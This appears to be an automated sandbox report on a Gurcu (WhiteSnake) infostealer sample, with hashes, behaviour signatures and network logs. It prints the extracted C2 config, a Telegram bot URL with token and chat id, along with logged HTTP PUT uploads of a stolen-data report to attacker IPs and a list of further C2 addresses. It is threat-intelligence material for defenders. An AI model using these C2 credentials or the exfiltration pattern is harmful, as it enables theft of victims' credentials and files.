Overview

overview

10

Static

static

10

fc01fb44a8...c4.exe

windows7-x64

10

fc01fb44a8...c4.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    139s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/07/2024, 02:01 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe

  • Size

    90KB

  • MD5

    44aa7d8622f1a0e08d3bdfa4de012a6d

  • SHA1

    5f44b235650dfb7f83b3520365decabc8782bd9a

  • SHA256

    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4

  • SHA512

    e6a53d18d727f72ab0adb0a0b83cc53cffce99f730eee1da6d2e9a8efb3a588e950053ca0364c3050fb5b2cc905b0bb82365e299458e8def0daedb6954f81e3a

  • SSDEEP

    1536:neFPHaclFeFO0XbyfQ9sqbS4p2JCaH+Qsjhp5c1Ym+MMRwX6jUR9bMFUxff9UNRE:gPlFeFO0XbyfQ9sqbS4UJzfsjL5mRXlL

Score
10/10
gurcucollectiondiscoveryspywarestealer

Malware Config

Extracted

Family

gurcu

C2

https://api.telegram.org/bot5771174697:AAFFUd9U6oSAWikqmrv6ZbgE_rIoZtQSgEg/sendMessage?chat_id=-1001824413058

Signatures

  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

    stealergurcu
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    "C:\Users\Admin\AppData\Local\Temp\fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe"
    1⤵
    • Accesses Microsoft Outlook profiles
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • outlook_office_path
    • outlook_win_path
    PID:2616

Network

  • flag-us
    DNS
    ip-api.com
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    Remote address:
    8.8.8.8:53
    Request
    ip-api.com
    IN A
    Response
    ip-api.com
    IN A
    208.95.112.1
  • flag-us
    GET
    http://ip-api.com/line?fields=query,country
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    Remote address:
    208.95.112.1:80
    Request
    GET /line?fields=query,country HTTP/1.1
    Host: ip-api.com
    Connection: Keep-Alive
    Response
    HTTP/1.1 200 OK
    Date: Fri, 05 Jul 2024 06:26:17 GMT
    Content-Type: text/plain; charset=utf-8
    Content-Length: 29
    Access-Control-Allow-Origin: *
    X-Ttl: 60
    X-Rl: 44
  • flag-us
    DNS
    g.bing.com
    Remote address:
    8.8.8.8:53
    Request
    g.bing.com
    IN A
    Response
    g.bing.com
    IN CNAME
    g-bing-com.dual-a-0034.a-msedge.net
    g-bing-com.dual-a-0034.a-msedge.net
    IN CNAME
    dual-a-0034.a-msedge.net
    dual-a-0034.a-msedge.net
    IN A
    13.107.21.237
    dual-a-0034.a-msedge.net
    IN A
    204.79.197.237
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=
    Remote address:
    13.107.21.237:443
    Request
    GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MUID=24A2E84D691663973F20FCFE68F6622D; domain=.bing.com; expires=Wed, 30-Jul-2025 06:26:19 GMT; path=/; SameSite=None; Secure; Priority=High;
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 6D8336A44011425E9573AE3501566428 Ref B: LON04EDGE1005 Ref C: 2024-07-05T06:26:19Z
    date: Fri, 05 Jul 2024 06:26:18 GMT
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=
    Remote address:
    13.107.21.237:443
    Request
    GET /neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=24A2E84D691663973F20FCFE68F6622D
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    set-cookie: MSPTC=YVsXQzKW3MuDYzpZdYZRXISk80_1ZPDr3E6QaUfr7HI; domain=.bing.com; expires=Wed, 30-Jul-2025 06:26:19 GMT; path=/; Partitioned; secure; SameSite=None
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: 4CB985B0B8CF44BC98C49CFD39D5B83E Ref B: LON04EDGE1005 Ref C: 2024-07-05T06:26:19Z
    date: Fri, 05 Jul 2024 06:26:18 GMT
  • flag-us
    GET
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=
    Remote address:
    13.107.21.237:443
    Request
    GET /neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid= HTTP/2.0
    host: g.bing.com
    accept-encoding: gzip, deflate
    user-agent: WindowsShellClient/9.0.40929.0 (Windows)
    cookie: MUID=24A2E84D691663973F20FCFE68F6622D; MSPTC=YVsXQzKW3MuDYzpZdYZRXISk80_1ZPDr3E6QaUfr7HI
    Response
    HTTP/2.0 204
    cache-control: no-cache, must-revalidate
    pragma: no-cache
    expires: Fri, 01 Jan 1990 00:00:00 GMT
    strict-transport-security: max-age=31536000; includeSubDomains; preload
    access-control-allow-origin: *
    x-cache: CONFIG_NOCACHE
    accept-ch: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version
    x-msedge-ref: Ref A: CBE2E57E88ED4E679F76D47C8E92DFFB Ref B: LON04EDGE1005 Ref C: 2024-07-05T06:26:19Z
    date: Fri, 05 Jul 2024 06:26:18 GMT
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    1.112.95.208.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    1.112.95.208.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    237.21.107.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    237.21.107.13.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    237.21.107.13.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    237.21.107.13.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    17.160.190.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    17.160.190.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    88.156.103.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.156.103.20.in-addr.arpa
    IN PTR
    Response
  • flag-us
    DNS
    88.156.103.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.156.103.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    88.156.103.20.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    88.156.103.20.in-addr.arpa
    IN PTR
  • flag-us
    DNS
    81.144.22.2.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    81.144.22.2.in-addr.arpa
    IN PTR
    Response
    81.144.22.2.in-addr.arpa
    IN PTR
    a2-22-144-81deploystaticakamaitechnologiescom
  • flag-us
    DNS
    22.236.111.52.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    22.236.111.52.in-addr.arpa
    IN PTR
    Response
  • flag-il
    PUT
    http://185.18.206.168:8080/fjWPH_Admin%40NQZRGKDO_report.wsr
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    Remote address:
    185.18.206.168:8080
    Request
    PUT /fjWPH_Admin%40NQZRGKDO_report.wsr HTTP/1.1
    Host: 185.18.206.168:8080
    Content-Length: 577438
    Expect: 100-continue
    Connection: Keep-Alive
  • flag-us
    DNS
    168.206.18.185.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    168.206.18.185.in-addr.arpa
    IN PTR
    Response
    168.206.18.185.in-addr.arpa
    IN PTR
    168206 interhostnet
  • flag-us
    PUT
    http://216.250.190.139/fjWPH_Admin%40NQZRGKDO_report.wsr
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    Remote address:
    216.250.190.139:80
    Request
    PUT /fjWPH_Admin%40NQZRGKDO_report.wsr HTTP/1.1
    Host: 216.250.190.139
    Content-Length: 577438
    Expect: 100-continue
    Connection: Keep-Alive
    Response
    HTTP/1.1 404 Not Found
    Server: nginx/1.20.1
    Date: Fri, 05 Jul 2024 06:28:13 GMT
    Content-Type: text/html
    Content-Length: 153
    Connection: keep-alive
  • flag-us
    DNS
    139.190.250.216.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    139.190.250.216.in-addr.arpa
    IN PTR
    Response
    139.190.250.216.in-addr.arpa
    IN PTR
    quarkiphousenet
  • flag-us
    DNS
    139.190.250.216.in-addr.arpa
    Remote address:
    8.8.8.8:53
    Request
    139.190.250.216.in-addr.arpa
    IN PTR
  • 208.95.112.1:80
    http://ip-api.com/line?fields=query,country
    http
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    486 B
     371 B
     7
    4

    HTTP Request

    GET http://ip-api.com/line?fields=query,country

    HTTP Response

    200
  • 13.107.21.237:443
    https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=
    tls, http2
    2.8kB
     9.9kB
     25
    19

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=

    HTTP Response

    204

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreative&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=

    HTTP Response

    204

    HTTP Request

    GET https://g.bing.com/neg/0?action=emptycreativeimpression&adUnitId=11730597&publisherId=251978541&rid=de9245bf86754c9e90dc37465139c805&localId=w:5BC0C033-2656-131B-E22B-41EC383E9388&deviceId=6966568097755002&anid=

    HTTP Response

    204
  • 167.86.115.218:9090
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     5
  • 185.189.159.121:8001
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     120 B
     5
    3
  • 129.151.210.129:8082
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     5
  • 65.21.49.163:8080
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     80 B
     5
    2
  • 5.181.12.94:80
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 89.46.80.136:443
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     160 B
     5
    4
  • 138.201.197.74:8080
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     5
  • 164.90.185.9:443
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 185.18.206.168:8080
    http://185.18.206.168:8080/fjWPH_Admin%40NQZRGKDO_report.wsr
    http
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    89.7kB
     892 B
     67
    22

    HTTP Request

    PUT http://185.18.206.168:8080/fjWPH_Admin%40NQZRGKDO_report.wsr
  • 172.245.180.159:2233
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 107.173.80.187:8080
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 66.135.10.176:8080
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 216.250.190.139:80
    http://216.250.190.139/fjWPH_Admin%40NQZRGKDO_report.wsr
    http
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    594.8kB
     6.3kB
     429
    150

    HTTP Request

    PUT http://216.250.190.139/fjWPH_Admin%40NQZRGKDO_report.wsr

    HTTP Response

    404
  • 107.174.250.100:8080
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     200 B
     5
    5
  • 18.191.188.207:80
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    260 B
     5
  • 34.125.238.223:80
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    208 B
     4
  • 8.8.8.8:53
    ip-api.com
    dns
    fc01fb44a8341e4c46a9b6d6cda304779f3a3d848f4181fc224b7df4d69cf8c4.exe
    56 B
     72 B
     1
    1

    DNS Request

    ip-api.com

    DNS Response

    208.95.112.1

  • 8.8.8.8:53
    g.bing.com
    dns
    56 B
     151 B
     1
    1

    DNS Request

    g.bing.com

    DNS Response

    13.107.21.237
    204.79.197.237

  • 8.8.8.8:53
    1.112.95.208.in-addr.arpa
    dns
    355 B
     5

    DNS Request

    1.112.95.208.in-addr.arpa

    DNS Request

    1.112.95.208.in-addr.arpa

    DNS Request

    1.112.95.208.in-addr.arpa

    DNS Request

    1.112.95.208.in-addr.arpa

    DNS Request

    1.112.95.208.in-addr.arpa

  • 8.8.8.8:53
    237.21.107.13.in-addr.arpa
    dns
    144 B
     158 B
     2
    1

    DNS Request

    237.21.107.13.in-addr.arpa

    DNS Request

    237.21.107.13.in-addr.arpa

  • 8.8.8.8:53
    17.160.190.20.in-addr.arpa
    dns
    360 B
     5

    DNS Request

    17.160.190.20.in-addr.arpa

    DNS Request

    17.160.190.20.in-addr.arpa

    DNS Request

    17.160.190.20.in-addr.arpa

    DNS Request

    17.160.190.20.in-addr.arpa

    DNS Request

    17.160.190.20.in-addr.arpa

  • 8.8.8.8:53
    88.156.103.20.in-addr.arpa
    dns
    216 B
     158 B
     3
    1

    DNS Request

    88.156.103.20.in-addr.arpa

    DNS Request

    88.156.103.20.in-addr.arpa

    DNS Request

    88.156.103.20.in-addr.arpa

  • 8.8.8.8:53
    81.144.22.2.in-addr.arpa
    dns
    70 B
     133 B
     1
    1

    DNS Request

    81.144.22.2.in-addr.arpa

  • 8.8.8.8:53
    22.236.111.52.in-addr.arpa
    dns
    72 B
     158 B
     1
    1

    DNS Request

    22.236.111.52.in-addr.arpa

  • 8.8.8.8:53
    168.206.18.185.in-addr.arpa
    dns
    73 B
     108 B
     1
    1

    DNS Request

    168.206.18.185.in-addr.arpa

  • 8.8.8.8:53
    139.190.250.216.in-addr.arpa
    dns
    148 B
     105 B
     2
    1

    DNS Request

    139.190.250.216.in-addr.arpa

    DNS Request

    139.190.250.216.in-addr.arpa

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2616-1-0x000001C04F2A0000-0x000001C04F2BC000-memory.dmp

    Filesize

    112KB

    Download

  • memory/2616-0-0x00007FFD3D4A3000-0x00007FFD3D4A5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2616-2-0x00007FFD3D4A0000-0x00007FFD3DF61000-memory.dmp

    Filesize

    10.8MB

    Download

  • memory/2616-3-0x00007FFD3D4A3000-0x00007FFD3D4A5000-memory.dmp

    Filesize

    8KB

    Download

  • memory/2616-4-0x00007FFD3D4A0000-0x00007FFD3DF61000-memory.dmp

    Filesize

    10.8MB

    Download

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.